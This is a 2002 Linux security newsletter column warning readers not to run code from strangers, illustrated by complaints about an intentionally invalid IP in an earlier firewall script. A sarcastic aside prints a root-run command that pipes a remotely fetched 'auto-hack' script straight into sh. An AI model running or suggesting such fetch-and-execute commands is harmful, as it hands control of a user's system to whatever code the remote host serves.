Hacking Linux Exposed

About
Authors
Contents
Reviews
Foreword
Purchase

Articles
Books
Sourcecode
Tools
Errata

Home

 


previous article
index
next article
Vet the code or pay the price
By Bri Hatch.

Summary: Too many people blindly execute commands from anonymous strangers without checking to see what lays hidden, and leave themselves open to malicous attacks.

The Internet and it's myriad mailing lists can offer a wealth of help and assistance when you have problems. When asking what obscure OpenSSL command you need convert your X509 certificate from .cer to .pem format you'll likely get an answer[1] from someone you've never met. When trying to fix your Apache configuration to block access to all .htaccess files, someone will provide a snippet[2] of configuration that can help you out.

Unfortunately, many people blindly copy and paste the suggestions without analysing what they're given. In the best scenario, the commands will not work and may leave you thinking you'd fixed your problem. In the worst case, you may have been given a trojan that will break the security of your own system and hand it to the cracker. This sort of trick is common on security lists where someone posts 'exploit code' to test your software but actually binds a rootshell or deletes your files.

Although most folks claim never to trust code from unknown sources, I can still tell that this happens every day. For example two weeks ago in this column I showed you how you could create a simple but effective firewall in 10 minutes[3]. The column included a shell script you could run with minimal changes. The top of the script read as follows:

  # Definitions
  EXT_INTERFACE=eth1
  EXT_IP=300.3.3.3
  INT_INTERFACE=eth0
  INT_IP=192.168.1.1

The IP address I used was 300.3.3.3. Anyone who's played with IP much will see that this doesn't make sense. The bytes in a valid IP address range between 0 and 255. [4] By choosing 300, I guarenteed that this script would blow up if anyone tried to run it unaltered.

And run it they did. I received five emails from folks telling me that the code didn't work, and that they got errors because of the invalid IP address.[5] I get these type of complaints frequently.

(The other kind of mail I get frequently contains little more than 'I need a program that will let me break into my friends computer. Send it to me now!'. I get this so much that I thought I'd help out by providing the following which must, sadly, be run as root:

 lynx --source http://www.hackinglinuxexposed.com/auto-hack-script.f?IP | sh

You must replace 'IP' with the IP or hostname you'd like to attack.)

Hopefully I don't need to explain any further why you shouldn't blindly run code from others. Next week I'll explain the methods I use when writing examples to help keep others from accidentally running my commands as-is.

NOTES:

[1] openssl x509 -in file.cer -inform d -out file.pem

[2] You'd use:

   <Files ~ "^\.ht">
      Order allow,deny
      Deny from all
   </Files>

[3] http://www.hackinglinuxexposed.com/articles/20021008.html

[4] Of course the values 0 and 255 are not available in some cases. The first and last IP addresses in your range are reserved for the network address and the broadcast address, respectively. Some routers still do not let you use 0 or 255 as an octet, even when the netmask makes it clear it is not a network or broadcast address.

[5] *Hobbit* went so far to refer to this article as '10 minute error fodder' because of the illegal IP used throughout.


Bri Hatch is Chief Hacker at Onsight, Inc and author of Hacking Linux Exposed and Building Linux VPNs. He doesn't trust code that anyone sends him, and certainly nothing he provides to himself. Bri can be reached at bri@hackinglinuxexposed.com.


Copyright Bri Hatch, 2002


This is the October 22, 2002 issue of the Linux Security: Tips, Tricks, and Hackery newsletter. If you wish to subscribe, visit http://lists.onsight.com/ or send email to Linux_Security-request@lists.onsight.com.

previous article
index
next article